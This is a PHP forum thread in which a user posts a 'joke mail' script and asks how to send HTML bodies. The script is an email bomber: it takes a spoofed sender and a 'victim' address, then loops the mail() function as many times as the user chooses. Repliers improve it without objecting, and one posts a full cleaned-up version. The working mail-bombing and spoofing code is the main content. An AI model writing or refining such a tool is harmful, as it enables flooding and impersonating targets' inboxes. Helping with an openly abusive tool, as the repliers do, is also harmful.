Page 1 of 1

help please with php mail function script

Posted: Thu Feb 21, 2008 7:43 am
by incepatorul
hello
I need some help
I have a script that is sending emails
I need to put in the body a html page for example


this is the script:

<html>
<head>
<title>joke mail</title>
<style>
body{
background-color:#000000; color:#666666; font-family:"Courier New", Courier, mono; font-size:13px;
}
input {
font-family:"Courier New", Courier, mono; color: #666666; background-color:#000000;
border: 1px solid #666666;
text-align:center;
}
</style>
</head>
<body>
<center>
<form name="hax" method="post">
<b>Adresa ta:</b><br>
<input name="from" type="text" alt="Enter your e-mail address (or a spoofed one)"></input><br>
<b>Adresa victimei:</b><br>
<input name="to" type="text" alt="The address you wish to bomb"></input><br>
<b>Subiect:</b><br>
<input name="subject" type="text" alt="The subject of the emails"></input><br> <b>Text:</b><br>
<input name="body" type="text" alt="Body of the email"></input><br> <b>De cate ori:</b><br>
<input name="times" type="text" size="3" alt="Send how many times?"></input><br><br>
<input name="submit" type="submit" value="Submit">
</form>
</center>
</body>
</html>
<?php
$from = $_POST['from'];
$to = $_POST['to'];
$subject = $_POST['subject'];
$body = $_POST['body'];
$times = $_POST['times'];
$i = 0;
while($i < $times){
mail("$to", "$subject", "$body", "From: $from" );
$i++;
}
?>

In the body I want to make the change and I don't know how
please help me
Image
i uploaded the picture to see what i want
thank you

Re: help please with php mail function script

Posted: Thu Feb 21, 2008 8:17 am
by liljester
use a <textarea></texarea> tag for a larger imput, you should be able to type in any html you want.

Re: help please with php mail function script

Posted: Thu Feb 21, 2008 10:07 am
by kryles
isnt there a special header to send mail as HTML form?

Code: Select all

$headers .= "Content-type: text/html; charset=iso-8859-1\n";

Re: help please with php mail function script

Posted: Sun Feb 24, 2008 3:18 am
by incepatorul
use a <textarea></texarea> tag for a larger imput, you should be able to type in any html you want.


and where do I have to put this?
here?
<input name="body" type="text" alt="Body of the email">
and in this way?
input name="body" type="<textarea>bla bla bla </textarea>
??????????????

Re: help please with php mail function script

Posted: Sun Feb 24, 2008 10:36 am
by Jonah Bron

Code: Select all

<html>
<head>
<title>joke mail</title>
<style>
body{
background-color:#000000; color:#666666; font-family:"Courier New", Courier, mono; font-size:13px;
}
input {
font-family:"Courier New", Courier, mono; color: #666666; background-color:#000000;
border: 1px solid #666666;
text-align:center;
}
</style>
</head>
<body>
<center>
<form name="hax" method="post">
<b>Adresa ta:</b><br>
<input name="from" type="text" alt="Enter your e-mail address (or a spoofed one)"></input><br>
<b>Adresa victimei:</b><br>
<input name="to" type="text" alt="The address you wish to bomb"></input><br>
<b>Subiect:</b><br>
<input name="subject" type="text" alt="The subject of the emails"></input><br> <b>Text:</b><br>
<textarea name="body"></textarea><br> <b>De cate ori:</b><br>
<input name="times" type="text" size="3" alt="Send how many times?"></input><br /><br />
<input name="submit" type="submit" value="Submit">
</form>
</center>
</body>
</html>

Code: Select all

<?php
if (isset($_POST['from']) && isset($_POST['to']) && isset($_POST['subject']) && isset($_POST['body']) && isset($_POST['times'])){
  $from = $_POST['from'];
  $to = $_POST['to'];
  $subject = $_POST['subject'];
  $body = $_POST['body'];
  $times = $_POST['times'];
  for ($i=0;$i<$times;$i++){
  mail("$to", "$subject", "$body", "From: $from" );
  }
}
?>

Re: help please with php mail function script

Posted: Tue Feb 26, 2008 7:09 am
by incepatorul
hi and thank you very much for your help
but something is not good:
is sending only the text body not the html body
this images are not shown in the received email
for example this images:
img/logo.gif
pics/logo_33.gif
/nav/footer.gif
when i tested i received only the text without the pictures
do you know where the problem is?
thank you again